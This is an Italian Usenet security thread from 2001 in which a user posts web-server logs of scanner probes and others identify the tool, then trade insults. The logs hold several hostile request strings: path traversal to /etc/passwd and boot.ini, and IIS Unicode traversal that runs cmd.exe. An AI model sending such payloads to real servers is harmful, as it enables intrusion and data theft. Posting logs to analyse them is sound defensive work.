Newsgroup: it.comp.sicurezza.varie
Titolo: Re: Software test sicurezza Web Server

mi rispondo da solo:
GFI LANguard Network Security Scanner
-- 
questo articolo e` stato inviato via web dal servizio gratuito 
http://www.newsland.it/news
 segnala gli abusi ad 
ab...@newsland.it

Nella mia rete locale c'č un utente che si diverte a mandare strane
richieste al mio webserver. Mi viene da pensare che usi un software x
testare la sicurezza di un web server. Di seguito posto il log. Conoscete
qualche software capace di fare qualcosa del genere?
192.168.0.1 - - [12/Dec/2001:11:11:32 +0100] "GET
/non_existant_web_link123511.htm HTTP/1.0" 404 328
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
/cgi-bin/store.cgi?StartID=../etc/passwd%00.html HTTP/1.0" 404 314
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
/cgi-bin/commerce.cgi?page=../../../../etc/passwd%00index.html HTTP/1.0"
404 317
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
/cgi-bin/DCShop/Orders/orders.txt HTTP/1.0" 404 329
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 357
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
/cgi-bin/lanscan.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 368
192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET /cgi-bin/get32.exe
HTTP/1.0" 404 314
192.168.0.1 - - [12/Dec/2001:11:11:37 +0100] "GET
/cgi-bin/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/winnt/system32/cmd.exe?/c+dir+c:\\+/OG
HTTP/1.0" 404 352
192.168.0.1 - - [12/Dec/2001:11:11:37 +0100] "GET /cgi-bin/perl.exe
HTTP/1.0" 404 313
192.168.0.1 - - [12/Dec/2001:11:11:38 +0100] "GET
///quote.html?filename=../../../../../../../../../../../../../../../../etc/passwd&path_to_font_file=ariali.ttf
HTTP/1.0" 404 309
192.168.0.1 - - [12/Dec/2001:11:11:38 +0100] "GET
///php/php.exe?c:\\boot.ini HTTP/1.0" 404 310
192.168.0.1 - - [12/Dec/2001:11:11:39 +0100] "GET
/cgi-bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 348
192.168.0.1 - - [12/Dec/2001:11:11:39 +0100] "GET
/cgi-bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 351
192.168.0.1 - - [12/Dec/2001:11:11:39 +0100] "GET /cgi-bin/rguest.exe
HTTP/1.0" 404 315


 cerca di trovare vulnerabilità (si lo so, la differenza è sottile)
perchè per te ...chi si occupa di penetration testing è fesso?
Davide
--
=======================
Ciò che l'occhio vede e l'orecchio
sente , la mente crede
=======================

 perchè per te ...chi si occupa di penetration testing è fesso?
se rimane nella fase di testing si :)
-- 
Ciao, Dmitry

 perchè per te ...chi si occupa di penetration testing è fesso?
Per uno che testa l'exploit dell'unicode bug su un apache, fesso
è un eufemismo.
-- 
No more tradition's chains shall bind us;
Arise, ye slaves! No more in thrall!
The Earth shall stand on new foundations;
We have been naught - We shall be All!

 perchè per te ...chi si occupa di penetration testing è fesso?
chi si occupa di questo no... Però se lo fai con un gingillo come 
quello che non riesce nemmeno a distinguere il sistema operativo, si :)
infatti il web server rispondeva con delle risposte 404 tipiche di 
apache, infatti:
|192.168.0.1 - - [12/Dec/2001:11:11:36 +0100] "GET
|/cgi-
|bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/
|c+dir HTTP/1.0" 404 357
su apache per *nix dubito riesca mai a fare una cosa del genere ..
Certi tool sono davvero stupidi e fidati te lo dice uno che ci ha 
smanettato un pò 
/me che il Serni ancora mi sculaccia :)
-- 
Ciao, Dmitry

 l'inutile affollamento dei logs.
Rotfl... Come se apache fosse immune da qualsiasi exploit...
http://www.k-otik.com/exploits/
-- 
Manual Writer's Creed:  Garbage in, gospel out.
News 2000 [v 2.06] / StopDialer / PopDuster - 
http://www.socket2000.com
Akapulce portal: 
http://www.akapulce.net

 
E che c'entra? Ti sembra sensato cercare su apache una vulnerabilitŕ di IIS?
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Mio nonno era un uomo molto insignificante.  Al suo funerale, il carro
funebre seguiva le altre auto.
		-- Woody Allen

 =======================
Senti, allora, dai uno sguardo al delimitatore: credimi, non e'
quello previsto. Tieni a mente che dovrai vedere d'aggiustarlo.
Fabio

 
http://www.k-otik.com/exploits/
Non mi pare che Thorin abbia detto che Apache sia immune da exploit. 
Dove lo hai letto?
Possibile che ogni qual volta ti toccano il tuo WIN sbatti i piedini 
per terra ?
ma io no so.-.-
-- 
Ciao, Dmitry

 Volevo comunicarle che con questa ha vinto vinto il tapiro patano.
lol :)
-- 
Ciao, Dmitry

 E che c'entra? Ti sembra sensato cercare su apache una vulnerabilità di IIS?
Quando questo hacker-lamer passerà a testare le vulnearbilità di 
apache avrà poco da divertirsi ad osservare il semplice 'affollamento
dei logs'...
-- 
Unprecedented performance:  Nothing ever ran this slow before.


 per terra ?
A me di win me ne sbatte assai!!! Manco lo uso IIS.
-- 
Dreams are free, but you get soaked on the connect time.


 Volevo comunicarle che con questa ha vinto vinto il tapiro patano.
LOL... e ci mancava la terza pantegana del gruppo... Non male, un 
castoro, uno sfigato nanetto coprofilo e la pantegana...
-- 
Todays assembler command :  EXOP   Execute Operator


 fumo della canna che ti sei fumato prima di quel tuo post su IIS ?
Stai dando del filo da torcere al castorino...  E quanta segatura che
lasci...
-- 
Expert systems are built to embody the knowledge of human experts.  - Kulawiec


 lasci...
Va interpretato come un "no"?


 'affollamento dei logs'...
immagino che tu, tutte questi test li abbia già fatti vero?
-- 
Ciao, Dmitry

 A me di win me ne sbatte assai!!! Manco lo uso IIS.
senti, posso darti un consiglio? rilassati, che in questi ultimi tempi 
mi sembri un pò troppo sull'agitato andate eh ..
-- 
Ciao, Dmitry

 immagino che tu, tutte questi test li abbia già fatti vero?
C'è gente più in gamba di me che li ha già fatti. Io non perdo il mio
tempo tentando di entrare nei server altrui, vero castorino?
-- 
IBM: Inherently Bad Manuals


 mi sembri un pò troppo sull'agitato andate eh ..
Mai stato meglio! Pensa piuttosto al tuo server...
-- 
signature not found!  reformat hard drive? [Yn]


 tempo tentando di entrare nei server altrui, vero castorino?
ne perdi altrettanto in altre cose. Vorrei ricordarti che non per forza 
bisogna sempre aprire bocca :)
-- 
Ciao, Dmitry

 Mai stato meglio! Pensa piuttosto al tuo server...
va benone, ma non vorrei farti rosicare più del dovuto :)
-- 
Ciao, Dmitry

 va benone, ma non vorrei farti rosicare più del dovuto :)
Stai tranquillo... Se dovessi rosicare per quelle 4 cazzate che leggo
da voi starei fresco. Non ho proprio l'indole per finire *gran 
rosicone di usenet* come il povero thorin... Quella sì che sarebbe 
una disgrazia.
-- 
IBM: Industry's Bulging Monolith


 una disgrazia.
eh eh, hai un vero amore per Thorin, lo nomini sempre :)
-- 
Ciao, Dmitry

 scritto appositamente in Viral Basic... NON HAI SCAMPO !
rotfl!
-- 
Ciao, Dmitry

 eh eh, hai un vero amore per Thorin, lo nomini sempre :)
Se ci badi è lui che mi nomina sempre...
-- 
Todays assembler command :  EXOP   Execute Operator


 Se ci badi è lui che mi nomina sempre...
non potendoti leggere quota me quando ti rispondo. In effetti è 
difficile resistere alla tentazione di risponderti, seppur in terza 
persona :)
-- 
Ciao, Dmitry

 persona :)
No, non per quello... Lo so che risponde per interposta persona. Ma 
analizza bene i suoi messaggi... Mi  nomina, eccome. Segno 
inequivocabile: gli rode. Sempre.
-- 
How do I love thee?  My accumulator overflows.


 le sue perle del pirla: 
http://makeashorterlink.com/?Z1CA258AA
LOL... Praticamente un link che ricorda a tutti quanto sei fesso e 
quante te ne dicono dietro... ROTFL. che autogol.
-- 
IBM: Insolent Bickering Mal-der-mer


 le sue perle del pirla: 
http://makeashorterlink.com/?Z1CA258AA
agree e peraltro ti invito a provare il mio nuovo servizio di URl 
Breve:
http://www.x-privat.org/shortlink.php
ovviamente in PHP
-- 
Ciao, Dmitry

 inequivocabile: gli rode. Sempre.
ma va là, è ce tu non hai palesemente il senso dell' humor :) vivi la 
vita e passa a PHP che ti sorriderà :)
-- 
Ciao, Dmitry

 Lo bookmarko subito.
^_^
-- 
Ciao, Dmitry

 news:d10ng8$1rm$
1...@moria.khazad-dum.net
 ha scritto :
Idiota (thorin)
quando la smetti di fare finta di rispondere alle terze persone ...
rispondi al mio abuse (idiota)
ma vaffanc...
Dmitry ti facevo meno leccalulo ...
hai proprio bisogno di rispondere ad un idiota come quello ?
mah?
ciao !|

 hai proprio bisogno di rispondere ad un idiota come quello ?
io rispondo a chi voglio
-- 
Ciao, Dmitry
ShortLink by x-privat : 
http://www.x-privat.org/shortlink.php

 vita e passa a PHP che ti sorriderà :)
ROTFL... Ogni mio messaggio per te o thorin E' PIENO di sense of 
humor, visto che tendo quasi perennemente a prendervi per il culo.
-- 
IBM: Intersmashable Byte manipulators


 piccolo neurone malandato.. ti consiglio veramente un pò di fanghi di
Amico mio... Se c'è qualcuno che ha bisogno SERIAMENTE di una visita 
psichiatrica quello sei proprio tu. Il 90% dei tuoi messaggi contiene
richiami continui a cacche, cazzi, culi, perversioni sessuali, 
improperi, turpiloqui... Fatti visitare, qualche problema ce l'hai, 
sicuramente.
-- 
Computers are only human.


 Dmitry ti facevo meno leccalulo ...
Non lo conosci bene allora. ;-)
-- 
Any nitwit can understand computers.  Many do.  - Ted Nelson


 Non lo conosci bene allora. ;-)
nemmeno tu ti conosci bene, altrimenti ti suicideresti 


 humor, visto che tendo quasi perennemente a prendervi per il culo.
con scarsi risultati però, scrivilo questo.


ok, raga, vi volete un casino di bene, ma per favore non potreste
proseguire in altra sede? Non offendetevi ma le vostre beghe non sono cosě
interessanti.
Grazie, eh.
-- 
a^n+b^n=c^n has no integer roots for n>2
I have a wonderful demonstration, but it doesn't fit in this signature.

/me che il Serni ancora mi sculaccia :)
Naaa, io ti misi in guardia: hai visto mai tu ci provassi co' nani.
Leonardo
-- 
"Se e' vero che Linux in se' e' gratis, non lo sono le indispensabili
interfacce grafiche (X, KDE ecc.) che consentono alle persone normali
di utilizzarlo."                    -- Jason Matusow, Microsoft Corp.

 Naaa, io ti misi in guardia: hai visto mai tu ci provassi co' nani.
sti nani :)
